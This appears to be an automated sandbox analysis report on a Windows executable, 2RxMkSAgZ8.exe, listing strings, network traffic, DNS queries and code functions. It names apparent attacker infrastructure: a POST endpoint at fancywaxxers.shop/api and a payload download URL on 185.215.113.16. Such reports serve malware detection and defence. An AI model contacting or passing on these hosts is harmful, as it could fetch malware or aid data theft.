Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: fancywaxxers.shop
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: 2RxMkSAgZ8.exe, 00000000.00000002.1696989470.000000000559B000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000002.1693258030.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000002.1693161663.00000000006FB000.00000004.00000010.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568379125.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568325148.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 2RxMkSAgZ8.exe, 00000000.00000002.1693258030.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568379125.00000000008F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe$
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_93.6.dr	String found in binary or memory: http://schema.org/Organization
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_93.6.dr, chromecache_117.6.dr, chromecache_81.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_93.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_93.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_93.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420401831.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1416605246.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568379125.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1416461791.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1488504575.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1417720200.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1417905331.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/&&A
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1457853778.0000000000904000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1446947207.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1434155629.0000000000904000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1458239399.0000000000904000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1488504575.0000000000904000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1488483351.000000000559D000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1488685034.00000000055A1000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1433799950.0000000000904000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1458168696.000000000559B000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1402613187.000000000559B000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1447604522.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402613187.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api9
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1446947207.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1447604522.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apia
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402613187.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apieR
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1402613187.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apis
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1457853778.000000000091D000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1447407412.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1447007025.00000000008F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_93.6.dr	String found in binary or memory: https://github.com/nschonni
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420401831.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_93.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_116.6.dr	String found in binary or memory: https://schema.org
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_116.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_95.6.dr, chromecache_116.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:49797 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 2RxMkSAgZ8.exe	Static PE information: section name:
Source: 2RxMkSAgZ8.exe	Static PE information: section name: .idata
Source: 2RxMkSAgZ8.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06004617	0_2_06004617
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEB5E5	0_2_05FEB5E5
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF55C9	0_2_05FF55C9
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06001640	0_2_06001640
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FED5B1	0_2_05FED5B1
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06010E57	0_2_06010E57
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FFB5A2	0_2_05FFB5A2
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FECD71	0_2_05FECD71
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF955B	0_2_05FF955B
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEC559	0_2_05FEC559
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEE559	0_2_05FEE559
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_0600C6B8	0_2_0600C6B8
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06008F04	0_2_06008F04
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_0600372D	0_2_0600372D
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_0600BF32	0_2_0600BF32
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06006F49	0_2_06006F49
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FFA4B0	0_2_05FFA4B0
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEACAA	0_2_05FEACAA
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE6CA4	0_2_05FE6CA4
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_0600276B	0_2_0600276B
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_0600076D	0_2_0600076D
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FFE46C	0_2_05FFE46C
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_0600AF94	0_2_0600AF94
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06040F9C	0_2_06040F9C
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FFFC63	0_2_05FFFC63
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FFDC60	0_2_05FFDC60
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_0600EFA5	0_2_0600EFA5
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FEEC58	0_2_05FEEC58
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF0C3F	0_2_05FF0C3F
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06005FC8	0_2_06005FC8
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF0C2D	0_2_05FF0C2D
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_060097DA	0_2_060097DA
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE741F	0_2_05FE741F
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_060197EF	0_2_060197EF
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF6C00	0_2_05FF6C00
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06007C03	0_2_06007C03
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FFFFED	0_2_05FFFFED
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF27A3	0_2_05FF27A3
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06001C5D	0_2_06001C5D
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF877E	0_2_05FF877E
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06005C87	0_2_06005C87
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06011491	0_2_06011491
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_06007498	0_2_06007498
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FE8757	0_2_05FE8757
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Code function: 0_2_05FF6746	0_2_05FF6746
